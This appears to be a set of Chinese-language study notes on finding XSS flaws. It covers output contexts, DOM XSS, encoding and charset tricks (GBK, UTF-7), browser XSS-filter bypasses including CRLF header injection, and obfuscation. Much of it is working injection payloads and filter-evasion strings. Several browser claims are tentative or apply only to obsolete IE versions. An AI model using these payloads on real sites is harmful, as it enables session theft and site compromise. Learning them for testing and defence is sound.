XSS挖掘

1.一般而言URL的常见组成模式如下:

    <schema>://<netloc>//<path>?<query>#<fragment>

  比如,一个最普通的URL如下:

 http://www.foo.com/path/f.php?id=1&type=cool#new

   对应的关系

 <schema>--http

   <netloc>--www.foo.com

   <path>--/path/f.php

   <query>  -    id-1&type=cool

   <fragemgment>-new

   攻击者可控的输入点有<path>,<query>,<frament>

有以下urlhttp://www.foo.com/xss.php?name='chris';

可以猜测"chris"的位置会在哪里呢?

html标签之间:   <div>[输出]</div>        --1

html标签之内:          <input type="text" value="输出"> --2

javascript代码的值:    <script>var a=[输出]</script>    --3

id=数字输入                                                     

成为CSS代码的值:     <style>body{font-size:[输出]px}</style>  --4

有以上这么多种的情况,所以我们有以下尝试

<script>alert(1)</script>     --->1

a"><script>alert(1)</script>---->2

<img src=# onerror='alert(1)'/>-->1

a"<img src=# onerror='alert(1)'/>-->2

a"</script>alert(1)<script>-->3

' onmouseover=alert(1) x='--->2

javascript:alert(1)-->window.location.href=输出

data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==,window.location.href=输出

‘;alert(1)//

20px;xss:expression(alert(1))-->body{height:输出}
显然,以上每种测试语句对应着相应不同的情况,我们对这几种情况进行分类
 
1.HTML标签之间
有以下url http://www.xsss.com?id=1;
最普通的场景出现在<div id="body">输出</div>位置,我们提交<script>alert(1)</script>
如果出现在<title>输出</title>中
我们先用</title>闭合掉前面的标签然后再<script>alert(1)</script>
2.在html标签之内
i.最普通的场景出现在<input type="text" value="输出">位置,要触发XSS,有以下两种方法:
 1." onmouseover="alert(1)这种是闭合属性,然后使用on事件来触发脚本
 2."><script>alert(1)</script>这种是闭合属性后又闭合标签,然后直接执行脚本。
ii.还有以下的语句
<input value="输出" type="hidden"/>
注意到这里的type是hidden,如果是hidden的话,受害者不一定会触碰这个框(因为看不见)
 构造以下输出   1" onmouseover=alert(1) type ="text  这样一来显示的就是标准的输入框
 
====================================================
让我们来看看这个语句
<input type="text" value="输出" disabled=1/>
但是结果为
 
这个是无法进行输入的,不好让受害者上当,
想让其能够输入,只好
" onmouseover= alert(1)  />
可是这样一来,就会变成这样
 
尼玛太假了
 于是这样   " onmouseover =alert(a) /><input type="hidden
<input type="text" value="1" onmouseover=alert(1)  /> <input type="hidden"  disabled=1 />
OK
再针对以下情况
输出在src/href/action等属性内,比如<a href="[输出]">click me</a>
输出在on*事件内,比如<a href="#" onclick="[输出]">click me</a>
输出在style属性内,比如<a   href="#" style="[输出]">click me</a>
1)输出在 src/href/action等属性内,比如
  我们构造的payload除了各种闭合之外,还可以像下面这样:
javascript:alert(1)//但是并不是所有的web浏览器都支持javascript伪协议如IE6等()
java  script(可绕过关键字,中间是tab键)
 
这里除了tab造成的空格符号还可以换行回车,
又由于html支持ascll码的特性,所以
可以用&#9(tab),&#10(换行),&#13(回车)但是注意,想通过这种方式构造标签,是不行的!
 
data:text/html;base4,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==,
前提是我们提交的payload必须出现在这些属性值的开头部分(data:)协议的必须作为整个属性值出现)。对于第一个javascript:伪协议,所有的浏览器都支持,不过有些差异l;对于第二个data:协议,仅IE浏览器不支持,//只会注释掉非<script>标签的script语句!
看javascript:alert(1)//这个payload的场景,如果输出以下语句
<a href="javascript:alert(1)//html">Click Me</a>
前面说到javascript:alert(1)之所以可以只出现在前面,也可以通过//封闭掉后面不正确的语法.可是,你能够保证//不被过滤?
javascript:alert(1)-html 会爆错,但是会执行逻辑
2)输出在on*事件内
由于on*事件内是可以执行Javascript脚本的,根据不同的场景,需要清楚输出是作为整个 on*事件的值出现,还是以某个函数的参数值出现,这个函数是什么等。
不同的出现场景可能需要不同的闭合策略
3)输出在style属性内
对IE来说,在标签的style属性中只要能注入expression关键词,并进行适当的闭合,就认为有xss存在
比如说有<a href="#" style="width:[输出]">click Me </a>
我们输入1;xss:expression(if!(window.x){alert(1);window.x=1;})
得到输出
<a href="#" style="width:1;xss:expression(if(!window.x){alert(1);window.x=1;})">alick me</a>
4)属性引用符号
HTML是一个很不严格的标记语言,属性值可以不用引号,或者使用单引号,双引号,反单引号(仅IE浏览器支持)进行引用,
3.成为JavaScript代码的值
与输出在on*事件内的情况类似,有些Javascript代码是服务段输出的,有时候会将用户提交的值作为Javascript代码的一部分一起输出
如下场景:<script>a="[输出]";...</script>
在这个场景中,可以构造以下payload
</script><script>alert(1)//
变成这样<script>a="</script><script>alert(1)//>";</script>
这样可以算构造成功
因为即使闭合用的</script>标签在双引号中,也会遵循<script>标签的闭合机制,它会优先寻找一个</script>闭合,
";alert(1)//
<script>a="";alert(1)//....</script>
这样一来闭合了a变量
在(那些年,我们一起学习xss)可以使用xss探子比如输入的aaaaaaaaaaa(不要与hml冲突)
目的如下
4.存储形XSS挖掘
这里一般是表单的提交,然后进入服务端存储中,最终会在某个页面上输出
i.表单提交后挑砖的页面有可能是输出点
ii.表单所在的页面
iii。表单提交后不见了,需要从真个网站去找目标输出点
考虑页面缓存技术,判断目标页面是否变动,一般发送Last——Modified与Etag头部,根据响应状态码进行判断
===============================================================================================
 
DOM型XSS
很多程序员喜欢用js来生成一些DOM逻辑,这种复杂性导致DOM  xss能够意外的出现。
1.html与javascript自解码机制
关于这个自解码机制,用以下例子来说明
<input type="button" id="exec_btn" value="exec" onclick="document.write('<img src=@ onerror=alert(1) />')"/>
 对于这个例子,如果document.write里的值是用户可控的输入,点击后,document.write出现一段imgHTML,onerror里的Javascript会执行。此时陷阱来了,我们现在提供一段htmlEncode函数如下
<html>
<head>
</head>
<body>
<script>
function HTMLEncode(str)
{

var s="";
if(str.length==0) 
  {
    return "";
  }
s=str.replace(/&/g,"&amp;");
s=s.replace(/</g,"&lt;");
s=s.replace(/>/g,"&gt;");
s=s.replace(/\"/g,"&quot;");
alert(s);
return s;
}
</script>
<input type="button" id="exec_btn" value="exec" onclick="document.write(HTMLEncode('<img src=@ onerror=alert(1) />'))" />
</body>
</html>

在用户可控制输入的

<img src=@ onerror = alert(1) /> 这句代码
被HTMLEncode函数转意成了  &lt;img src=@ onerror=alert(1) /&gt;

然而

如果用户是这样输入的话

<input type="button" id="exeec_btn" value="exec" onclick="document.write('&lt;img src=@ onerror=alert(1) /&gt;')" />

是可以弹出窗口的

那么一文就是在先前的例子中HTMLEncode之后,输入的语句被转义成了如下

&lt;img src=@ error=alert(1) /&gt;

因此无法正确的执行

可是当输入   &lt; img src=@ onerror=alert(1) 时候确还是可以执行

事实上,在点击下面一个案例的时候,事实上,document.write的值不再是&lt;img src=@ onerror=alert(1) /&gt;

而是

  <img src=@ onerror=alert(1) />

可以做以下证明

 1 <html>
 2 <head>
 3 </head>
 4 <body>
 5 <script>
 6 function HTMLEncode(str)
 7 {
 8 
 9 var s="";
10 if(str.length==0) 
11   {
12     return "";
13   }
14 s=str.replace(/&/g,"&amp;");
15 s=s.replace(/</g,"&lt;");
16 s=s.replace(/>/g,"&gt;");
17 s=s.replace(/\"/g,"&quot;");
18 alert(s);
19 return s;
20 }
21 </script>
22 <input type="button" id="exec_btn" value="exec" onclick="x='&lt;img src=@ onerror=alert(1) /&gt;';alert(x);document.write(x) "   />
23 </body>
View Code

原因如下

onclick里的这段js出现在HTML标签内,意味着这里的javascript  可以进行HTML形式的编码,这种编码有以下两种

进制编码:&#xH;(十六进制格式),&#D;(十进制格式);最后的分号(;)可以不要

HTML实体编码:即上面的那个HtmlEncode

htmlAscll码:比如t是116 所以可以scrip&#116来代替script标签其中最后的;最好还是加上

在javascript执行之前,html形式的编码会自动解码。

这是当用户输入出现在<script>里的Javascript 中,情况会怎样?

我们先看一下

 

<html>
<head>
</head>
<body>
<input type="button" id="exec_btn" value="exec" />
<script>
function $(id)
{
return document.getElementById(id);
}
$('exec_btn').onclick=function()
{

document.write('<img src=@ onerror=alert(1) />');
//document.write('&lt;img src=@ onerror=alert(1) /&gt;');

};
</script>

</body>
</html>

这样是可以弹出窗口的,而如果用户输入的是被注释掉的那一段,则不会弹出窗口
这是因为用户输入的这段内容上下文环境是javascript,不是HTML(在这里,我们认为<script>标签与<html>区别很大)

当用户的输入位于<script>标签的时候,这段被输入的内容要遵守的时Javascript法则

具体有如下几种形式。

具体有如下几种形式

Unicode形式:\uH(十六进制)。

普通十六进制:\xH.

纯转义:\‘,\",\<,\>这样在特殊字符之前加\进行转义

有以下代码

<script>
document.write('\<img src\=@ onerror=alert\(1\) \/\>')
</script>

 这样是完全可以执行

被html编码的代码如果在   html 标签中会被自动解码

如果被以javascript形式编码的代码  在<script>标签中执行,那么回自动解码

以上在<script>标签的试图通过增加转义符号的防御显得毫无防御意义

同样还有被unicoode转换的

<script>
document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0040\u0020\u006f\u006e\u0065\u0072\u0072\u006f\u0072\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u0020\u0020\u0020\u003e')
</script>
View Code

通过上面这几个例子,我们可以知道html 中与javascript自动解码的差别

为了深入理解上面的这个例子

我们有以下代码

<html>
<head>
</head>
<body>
<script>
function $(id)
   {
     return document.getElementById(id);   
   }   
</script>
<textarea id="i1" style="width:600px;height:300px;"></textarea>
<div id="i2"  style="width:600px;height:300px;"></div>
<input type="button" id="exec_btn" value="exec" onclick="$('i1').innerHTML='<img src=@ onerror=alert(123) />';  alert ($('i1').innerHTML);"  />
<input type="button" id="exec_btn" value="exec2" onclick="$('i2').innerHTML='<img src=@ onerror=alert(123) />';  alert ($('i2').innerHTML);"  />
</body>
</html>

 其中点击exec_btn按钮后的结果与exec_btn的按钮后的结果并不相同

 我们发现即使是位于html标签中,<textarea>标签本身的性质也导致了,它进行了HTMLEncode编码。这是由<textarea>标签本身的性质决定的html在<textarea>中是不解析的,

同理可推这样的标签还有

<title></title>

<iframe></iframe>

<nostricpt></nostricpt>

<noframes></noframes>

这些标签在本章开头部分曾提到过

<xmp></xmp>

<plaintext></plaintext>

<xmp>没有HtmlEncode功能,<plaintext>在Firefox与Chrome下有差异,Firefox下不会进行HtmlEncode编码,而在Chrome下会,这样的差异有时候会导致安全问题

 其实也就是当document.write这段js代码生成的被Encode的HTML在<textarea>是无法在<textarea>标签中被解析的所以在执行的时候就无法被自动解码了。

有一个和这个相关的漏洞如下,简叙为

获取textarea标签的innerHTML内容时,内容没有被编码导致安全隐患的产生

有想通过这种方式对html进行htmlEncode

    <script>
      function htmlencode(s)
	    {
		  var html="";
		  var safenode=document.createElement("textarea");
		  if(safenode)
		    {
			  safenode.innerText=s;  
			  html=safenode.innerHTML;
			  safenode=null;
			}
			return html;
		}
		var tmp="<iframe src=http:/www.4399.com>";
	    alert(htmlencode(tmp));
    </script>

 这样一来就可以通过从实际safenode的标签中读取了因为在<textarea>标签中而被htmlEncode

的html代码。

URL编码的差异

浏览器在处理请求时的urlencode策略存在差异,导致在某些场景中出现XSS漏洞,而这种差异性的XSS,除了与浏览器的URLencode策略差异有关,还与服务端代码的实现有关。

有下列存在漏洞的代码

1 <?php
2 echo '<h3>$_SERVER["QUERY_STRING"]</h3>';
3 echo $_SERVER['QUERY_STRING'];
4 echo '';
5 echo 'in &lt;input&gt;<input type="text" value="'.$_SERVER['QUERY_STRING'].'"/>';
6 ?>
View Code

POC 如下

http://127.0.0.1/xss.php?c="><script>alert(1)</script>

在不同浏览器下效果不同

在firefox下,编码了‘ “ <>  等字符

在Chrome下,编码了" <  > 等字符

在IE下,没有编码任何字符,但好像

不仅会导致反射形Xss,还有可能会导致DOM形XSS

比如有以下代码
 1 <html>
 2 <head>
 3 </head>
 4 <body>
 5 <script>
 6 var loc=document.location.href;
 7 document.write("<div>"+loc+"</div>");
 8 </script>
 9 </body>
10 </html>
View Code

在IE11已经被转码,IE5可以执行

Dom挖掘的动态方法

我的理解(不一定正确)

1.针对eval:

比如我从一个输入转来转去最终转到了eval这儿,如果我们的输入和这个eval中输入的相似,就认为存在XSS风险

<script>
var _eval=eval;
eval=function(x)
{
   if(typeof(x)=="undefined")
    {
       return;
    }
if(x.indexOf('domxss')!=-1)
{
alert('found dom xss');
}
   _eval(x);
};
eval(location.hash.substr(1));
</script>

2.还有一种方法.这是针对innerHTML(打个比方)

 

像一般产生DomXss的地方可能会有如下JS  

x.innerHTML=""

x.value=
window.location.href=
针对这种赋值操作
可以针对具体对象设置defineSetter
比如说这个innerHTML
有以下代码可以劫持他
<script>
document.getElementById('xss').__defineSetter__('innerHTML',function(){alert('fuck')});
document.getElementById('xss').innerHTML="Hello World";
</script>

但是这个需要劫持所有的输出点

最后一个是通过dom树的改变进行分析

比如如果有document.write('domxss');

如果有这样一段Js并且成功执行

那么Dom树将会发生变换

如何发现这种变化?

举个栗子吧,就像这样
 1 <html>
 2 <head>
 3 </head>
 4 <body>
 5 <input type="text" id="xss"/>
 6 <input type="button" value="click" onclick=test() />
 7 </body>
 8 <script>
 9 function test()
10 {
11 var data=document.getElementById("xss").value;
12 document.write(data);
13 if(document.documentElement.innerHTML.indexOf('domxss')!=-1)
14 {
15 alert("found domxss");
16 }
17 }
18 </script>
19 </body>
20 </html>
View Code

静态分析

如果是用静态分析的话,那就是观察输入输出点是否具有一些可疑的函数?

比如eval,innerHTML等

字符集

==========================================================================================

字符缺陷导致XSS

1.字符与字节

 肉眼看到的一个文字或字符就是一个字符(包括乱码),一个字符可能对应1~n字节,1字节8位,每一位要么为1要么为0

2.字符集

 一个字符对应1~n字节是字符与编码决定的。

3.字符集编码

这些字符集大都对应一种编码方式(比如GBK字符集对应了GBK编码),不过Unicode字符集的编码方式有UTF-8,

UTF-16,UTF-7,常见的UTF-8,与UTF-7

编码的目的是最终将这些字符正确地转换为计算机可以理解的二进制,对应的解码就是将二进制最终解码为人类可读的字符

4.宽字节编码带来的安全问题

GB2312,GBK,GB18030,BIG5,shift_JIS等这些都是常说的宽字节,实际上只有两字节,(还记得宽字节注入么?)

举以下例子

php中有一个magic_quotes_gpc,当它开启的时候i,会将',“这些符号转义,

其中php还有一个函数效果和这个magic_quotes_gpc(魔数变量相同)

addslashes

有以下代码,这个输出点出现在<script>标签中

 1 <?php header("Content-Type:text/html;Charset=GBK");?>
 2 <head>
 3 <title>
 4 gb xss
 5 </title>
 6 </head>
 7 <script>
 8 a="<?php echo addslashes($_GET['x']);?>";
 9 </script>
10 
11 
12 >
View Code

我们很容易联系到通过"将“闭合,然后写入shellcode
在输入";alert(1)

 结果发现双引号被转义了

由于这个网页头部相应指名了这是GBK编码,GBK编码的第一字节(高字节的范围是0x81-0xFE,第二字节的范围是0x40-0x7E与0x80~0xFE这样的十六进制表示

,而\符号的十六进制表示为0x5c,正好在GBK的低字节中,如果之前有一个高字节,那么正好会被组合成一个合法字符

这个发生的条件是浏览器以宽字节编码察看

 当输入以上代码之后

实际页面源代码变成了如下

 

 OK,弹出窗口

 有一点需要注意,GB2312时被GBK兼容的,他的高位范围是0xA1-0XF7, 低位范围是0xA1~0xFE(0x5C不在该范围内),把上面的PHP代码的GBK改为GB2312,在浏览器处理行为同GBK,也许是由于GBK兼容GB2312,浏览器都作了同样的兼容,把GB2312同一按照GBK行为处理

UTF-7问题

UTF-7时Unicode字符集的一种编码方式,不过并非是标准推荐的,现在仅IE浏览器还支持UTF-7的解析,IE浏览器历史上出现以下好几类UTF7-XSS

1.自动选择UTF-7编码

在IE 6/IE  7时代,如果没有声明HTTP相应头字符集编码方式或者声明错误(比如)

Content-Type:text/html;charset=utf-8//正确的声明字符集编码方式

Content-Type:text/html //未声明字符集的编码方式

Content-Type:text/hrml;charset=uf-8//声明错误的字符集编码方式

同时<meta>http-equiv未指定Charset或指定错误,那么IE浏览器会判断相应内容中是否出现UTF-7编码的字符串

如下

以下php代码,可以用来UTF-7encoding  

1 <?php
2 $a=$_GET['input'];
3 echo mb_convert_encoding($a,'UTF-7');
4 ?>
View Code

有以下html代码(经过UTF-7)编码过,将会弹窗

1 <html>
2 <head>
3 <meta http-equiv="Content-type" content="text/html;charset=UTF-7"/>
4 </head>
5 <body>
6 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
7 </body>
8 </html>
View Code

1将IE的编码设置为自动选择
2.通过iframe方式调用外部UTF-7编码的HTML文件

通过iframe页面,嵌入被UTF-7编码的子页面,而父页面标明<meta http-equiv="Content-Type:text/html;Charset=Utf-7"/>

 3.通过link方式调用外部UTF-7编码的CSS文件

 通过<link>标签嵌入外部UTF-7编码的CSS文件,此时副业不需要声明UTF-7编码方式代码如下

1 <html>
2 <head>
3 <title>123</title>
4 <link rel="stylesheet" href="http://www.evil.com/utf7.css" type="text/css"/>
5 </head>
6 <body>
7 </body>
8 </html>
View Code

而utf7.css,其中css甚至可以指明为外域

@charset "utf-7";
body+AHs-xss:expression(alert(1))+AH0-

 4.通过指定BOM文件头

 BOM的全称为Byte Order Mark,即标记字节顺序码,只出现在Unicode字符集中,BOM出现在文件的最开始位置,软件通过识别文件的BOM来判断他的Unicode字符集编码方式,常见的BOM出现在文件的最开始位置,软件通过识别文件的BOM来判断它的Unicode字符集编码方式,例如UTF-7的BOM头就是+/v8

绕过浏览器XSSFilter

目前,主要是IE和Chrome两大浏览器拥有xssFilter,XssFilter主要针对反射型XSS,大体上是采用的都是一种启发式的监测,根据用户提交的参数判断是否是潜在的XSS特征,并重新渲染相应内容保证潜在的XSS特征不会触发。

  i.响应头CRLF注入绕过

  如果目标网页存在响应头部CRLF注入,在HTTP响应头注入回车换行符,就可以注入头部

 在提到crlf注入绕过之前....我们需要先明白什么是crlf注入

事实上crlf注入又称之为http协议头注射

原理

      以下情况会出现HTTP协议头注射漏洞

      1.数据通过一个不可信赖的数据源进入Web应用程序,应用程序必须允许将那些包含CR(回车,由或r指定)和LF(换行,由或n指定)的字符输入

到头文件中

       举个例子,如果跳转目标站点可控制

     比如说代码是这样写的

    <?php

     header(location=$_GET['input'])

?>

尝试通过以下方式进行CRLF注入

在php之后的版本header()禁止了多个相应请求头

 当可以进行注入的时候可以在URL后接上如下连接(%0d%0aX-XSS-protection:%20%200)

 ii.针对同域的白名单

     1.  IE的同域白名单

          IE会判断Refer来源是否是本域

          如果是,则XSS  Filter不生效

在IE11试验

                              xss.html

<html>
<head>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8"/>
</head>
<body>
<a href="vul.php?a=<script>alert(1)</script>">xxxxxxxxxxxxxx</a>
</body>
</html>

                                              vul.php             

<?php
echo $_GET['a'];
?>

IE11下如果直接访问vul.php?a=<script>alert(1)</script>

IE11 下如果通过xss.html的<a>标签访问的话,并不会被过滤

事实上,如果是通过<iframe>嵌入的话,仍然可以逃脱XSSfilter

2.Chrome的同域白名单,

Chrome的同域机制和IE完全不一样,用法如下

结果是这样,当跨域引用js时

        

场景依赖性高的绕过

               1.有以下Xss代码

<?php
$a=$_GET['a'];
?>
<script>
var a='<?php echo $a;?>'
</script>

                   试图通过a=';alert(1)注入,该情况能够绕过Chrome,却无法绕过IE

             2.

  需对比一下代码

<?php
echo $_GET['x'];
?>
<?php
echo addslashes($_GET['x']);
?>

对于下面一种
如果构造以下输入可以绕过IE的XSSFilter

构造以下URL

http://127.0.0.1/vul.php?x=<script%20%00%00%00>alert(1)</script>

原因是%00会被PHP转义为\0,IEXSS   Filter因此被绕过

<script \0\0\0>alert(1)</script>

可以成功执行

 代码混淆

 浏览器的进制常识

 首先,在浏览器中常用的进制混淆有八进制,十进制,和十六进制

 1.我们常常会在HTML的属性中用到十进制和十六进制。十进制在HTML中可使用

&#56;来表示,用&#作为前缀,

中间为十进制数字,使用半角分号;作为后缀,其中后缀也可以没有

 若为16进制则中间要多一个x

 2.在CSS的属性中,我们也只能用到十进制和十六进制,CSS兼容HTML中的进制表示形式除此之外,十六进制还可以使用\6c的形式来表示

3.在javascript中可以直接通过eval执行的字符串有八进制和十六进制两种编码方式,其中

  八进制用\56表示,十六进制用\x5c表示,需要注意的是,这两种表示方式不能够直接给多字节字符编码(如汉字,韩文等),如果代码中应用了汉字并且需要进行  进制编码,那么只能进行十六进制Unicode编码 

  比如说是这样

  eval(alert('\u4ee3\u7801'))                                      

 4.这里有一个用js编写的加密解密的小工具           

 1 <html>
 2 <head>
 3 </head>
 4 <body>
 5 <input type="text" value=""/>
 6 <script>
 7 var code={}
 8 code.encode=function(str,jinzhi,left,right,digit)
 9 {
10 
11 left=left||"";
12 right=right||"";
13 digit=digit||0;
14 var ret="";
15 bu=0;
16       for(var i=0;i<str.length;i++)
17        {
18          s=str.charCodeAt(i).toString(jinzhi);
19          bu=digit-String(s).length+1; 
20          
21          if(bu<1)
22           {
23             bu=0;
24           }
25         
26          var add=left + new Array(bu).join("0") + s + right;
27          ret+=add;
28         }
29 return ret;
30 };
31 code.decode=function(str,jinzhi,for_split,for_replace)
32 {
33    if(for_replace)
34    {
35       var re=new RegExp(for_replace,"g");
36       str=str.replace(re,'');         
37    }
38  var arr_s=str.split(for_split);
39  var ret='';
40  for(i=0;i<arr_s.length;i++)
41  {
42     ret+=String.fromCharCode(parseInt(arr_s[i]),jinzhi); 
43  }
44   return ret;
45 }
46 (code.encode("Hello",16,'&#x',';',4))
47 </script>
48 </body>
49 </html>
View Code

代码中建立了code对象,并为其添加了encode和decode方法,
其中encode方法有以下5个参数。

 str:需要进行编码的字符

 jinzhi:需要编码到的目标进制

 left:编码数值的前缀

 right:编码数值的后缀

 digit:数值位数,补0bu

其中decode方法拥有以下4个参数

  str:需要进行解码的数值串

  jinzhi:原数值串的编码进制

  for_split:以某个字符作为分隔符。

  for_replace:需要删除的多余字符

  这里需要注意的是,如果使用\62\61形式进行十六进制编码,那么要注意将CSS属性名和属性值之间的冒号留出来,否则代码将不会解析。

  再看看javascript中字符串的进制用法,假设原始语句如下

   <script>eval("alert('你好')")</script>

<script>eval();</script>

eval("\141\154\145\162\164\50\47\u4f60\u597d\47\51");

其中,中文部分一定要使用Unicode形式,即\u加上汉字的十六进制编码

浏览器的编码常识

在Javascript中,有三套编/解码的函数

分别为

       escape/unescape

      encodeURI/decodeURI

      encodeURIComponent/decodeURIComponent   

普通的escape无法对一些字符进行编码

有以下代码

<script>
var exEscape=function(str)
{
var _a,_b;
var _c="";
var ret="";
for(var i=0;i<str.length;i++)
 {
   _a=str.charCodeAt(i);
   _b=_a<256?"%":"%u";
   _h=_a<16?"%0":_b;
   _c+=_b+_a.toString(16).toLowerCase();
 }
return _c;
}
alert(exEscape("alert(1)"));
</script>

这个ExEscape意思大概是

对于unicode>256 前面需要加一个%u

<16的前面需要加一个0因为后面要转化成为16进制

而对于普通的,位于16到256之间的,就是%(unicode16进制)

HTML中的代码注入技巧

1.标签

  由于HTML语言的松散性和各标签的不同优先级,可以创造出很多代码混淆绕过方式,如HTML标签时不区分大小写的,

可以<script></script>也可以全部大写或者大小写混合

 

黑名单的过滤总会留下之鱼

<meta http-equiv="refresh" content="0;url='javascript:alert(1)'" />似乎这个并不能成功

<isindex prompt="click picture" action="javascript:alert(1)" src="127.0.0.1/1.jpg" style="width:200;height:200" type="image" />当点击的时候会执行javascript协议

<bgsound src="javascript:alert(1)" />这个似乎也测试不成功

有些过滤器很强大,会判断当前代码是否存在于注释中,如果是注释,则忽略,这样做是为了维持用户数据的最大完整性,但却给了攻击者可乘之机,

比如说写入%0d%0a   回车换行符,或是像如下代码

<html>
<head>
</head>
<body>
<!--aaa<!--aaa--><script>alert(1)</script>-->
</html>

表面生那个而言该串字符的确在<!--与-->之间,但是由于其中又夹了一个--> 另外一些HTMLParser不关心是否有注释,只关心HTML标签,属性,属性值,比如标签是否有<script>,属性是否是Javascript事件,属性值是否是伪协议等,对于这种过滤方法,我们可以采用以下方式突破

<!--<a href="--><img src=@ onerror=alert(1) //">test</a>

如果扫描器忽略了HTML注释后,会认为这段是一个完整的HTML语句

<a href="--><img src=@ onerror=alert(1) //">test</a>

于此同时--><img src=@ onerror=alert(1) //会被认为是一个属性值而放行,

另外还有一种特殊的注释:IE  HTML    条件控制语句

<!--[if ie]><script>alert(1)</script><![end if]-->

<!--[if ie 6]><script>alert(1)</script><![end if]-->

<!--[if lt ie 6]><script>alert(1)</script><![end if]-->

这是IE所独有的,在其他浏览器看来与普通注释无异,但是在IE看来确实依据条件执行的,这给攻击者提供了可乘之机,以下语句

亦可

<!--[if]><script>alert(1)</script -->

 <!--[if<img src=@ onerror=alert(1) //]>-->

 在HTML语法中有标签优先级的概念,有些标签如<textarea>,<title>,<style>,<script>,<xmp>等具有非常高的优先级,使得其结束标签甚至可以直接中断其他标签属性:

 <title><a href="</title><img src=@ onerror= alert(1) //">test</a>   这段有争议的代码既可以理解为</title><img src=@ onerror=alert(1)//">为其的href指向地址,又可以理解为<a href=" >是被title标签的 夹着的标题时

此时<title>标签优先级高,所以按照第二种理解

以下这种亦是如此

<style><a href="</style><img src=@ onerror = alert(1) >"></a>

当然,如果是基于黑名单的过滤方式,将这些标签都过滤了

前三个可以在ff和webkit中执行,最后一个可以在IE中执行

1 <? foo="><script>alert(1)</script>">
2 <! foo="><script>alert(1)</script>">
3 </  foo="><script>alert(1)</script>">
4 <%  foo="><script>alert(1)</script>">
View Code

二.属性 与标签相似,HTML标签中的属性同样也是大小写不敏感的,并且属性值可以用双引号引起来,也可以使用单引号,甚至不用引号在HTML语法上也是正确的,而且在IE下面还可以用反引号来包括属性值,

此外,标签和属性之间,属姓名和等号之间,等号和属性值之间,等号和属性值之间也可以使用空格,换行符,回车符,或者tab等,并且个数不受限制, 

<html>
<head>
</head>
<body>
<img
       src
           =x
            onerror=
            "alert(1)" />
</body>
</html>

这样的混淆方法是可以在各大浏览器上执行的。另外,我们还可以在属性值的头部和尾部(引号里面)插入系统控制字符,即ASCLL值为1-32这32个控制字符,不同的浏览器都有各自的处理方式,如下语句 <a &#8 href="&#32javascript:alert(1)">test</a>

是可以在IE,Firefox,Chrome下执行的

但语句

<a &#7 href="&#32javascript:alert(1)&#27">test</a>

试了下,貌似只能在ie上运行?

总结:当利用反射型XSS漏洞时,有时输出的变量会出现在HTML文本里,利用起来相对容易;有时则会出现在属性值中,我们应想办法先闭合这个属性值,然后要么干脆接着闭合当前标签,要么设置一个可触发事件或自动触发事件来执行插入的脚本

分几种情况进行讨论

1.属性值没有用引号

<img src=<?php echo $_GET['x'];?> />---->访问以下url

http://127.0.0.1/vul.php?x=x%20onerror=alert(1)

2.属性值里有引号

<img src=“<?php echo $_GET['x'];?> />”---->

我们当然可以考虑使用javascript伪协议,或是data协议如果想要通过上面那种方式,可以先通过"闭合前面的双引号,

但是如果此时连引号都过滤了双引号,或者做了HTMLEncode转义,那么既没有XSS安全隐患,也没有可以利用的方式不过目前

有两个特例

<img src="x` `<script>alert(1)</script>">在IE6下可进行

<img src="  alr=" onerror=alert(1) //">其中src="这个双引号可有可无

1 <body>
2 <script>
3 function abc(a)
4 {
5     alert(a);
6 }
7 </script>
8 <a href='#' onclick=abc('<?php echo $_GET['a'];?>')>test</a>
9 </body>
View Code

在以上代码中
可以通过访问以下url

http://127.0.0.1/xss.php?a=x');alert(1);//

或是访问以下URL

127.0.0.1/xss.php?a=',alert(1),'

都可以执行

当然这样也可以

<a href='#' onclick="abc('&#039;,alert(1),&#039;')">xxxxxxxx</a>

 这段代码依旧是可以执行的,

对于资源类属性,我们可以理解为属性值需要为URL的属性,通常,属性名都为src或href.这类属性一般都支持浏览器的预订义协议,包括:http:,ftp:file,https:,javascript:。vbsrcript:mailto:data:等,在这些协议中

举以下例子来利用伪协议

 <a href="javascript:alert(1)">test</a>

<img src="javascript:alert(1) "  />这个似乎只能在IE6下触发?

<iframe src="javascript:alert(1)" />

 除了这个javscript伪协议,还有vbscr伪协议,可以简写为vbs,但是vb协议都只能在ie下执行,同时IE还不支持data协议

我们可以先进行HTMLEncode编码

 <iframe  src="javascript:&#x61;&#x6c;&#x65;&#x72;&#x74;(&quot;&#88;&#83;&#83;&quot;)"></iframe>

另外还有几个不常用的属性也支持伪协议

<img dynsrc="javascript:alert(1)" />
<img lowsrc="javascript:alert(2)"/>     以上这两种方式都在IE5下可以执行

 <isindex action=javascript:alert(1) type="image" />

 有时在过滤器仅过滤了src和href中的伪协议时,我们可以用这种属性绕过。

 <input type="image" src="javascript:alert(1)" />

这种方式可以在IE5下执行

 事件属性

 如果我们想直掉对方的过滤器过滤了哪些属性,如果对方采取的是黑名单

那么我们就用on****去试探

如果连onabcd这种假事件都被过滤了,那么服务器很可能使用了白名单过滤机制

我们可以采取属性之间相互配合

<input onfocus="alert(1)" autofocus>

 <body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>

 对于有些属性需要执行的话,需要我们进行
 <input type='text'value="1" style="width:100%;height:100px;position:absolute:top:10px;left0px" onmouseover="alert(1)" >
 CSS中的代码注入技巧
 与html一样,我们可以将CSS分为选择符,属性名,属性值,规则和声明几部分,对于一个css代码,能被我们利用插入XSS脚本的地方只有CSS资源类属性值和@imort规则,以及一个只能在IE下执行的属性值expression,另外,@charset这个规则虽然不能被利用插入XSS代码,但是在某种情况下会我们绕过过滤器给予很大帮助
css对大小写不敏感,
对单双引号不敏感,
对资源类属性来说,URL部分的单双引号以及没有引号也都不敏感,
并且凡是可以使用tab制表符,回车和换行也都可以被浏览器解析
css资源类属性
与HTML的资源类属性类似,CSS的一些资源类属性的XSS利用也是通过伪协议来完成的
这种利用方式目前只能在IE下被执行,这种属性基本上都是设置背景图片的属性
如background,background-image,list-style-image等,关键字主要有两个,
javascript,vbscript,其用法大致如下
body{background-image:url('javascript:alert(1)');}
body{background-image:url('vbscript:msgbox(2)');}
li{list-style-image:url('javascript:alert(1)')}
 可以在url中没有单引号,也可以大小写混淆
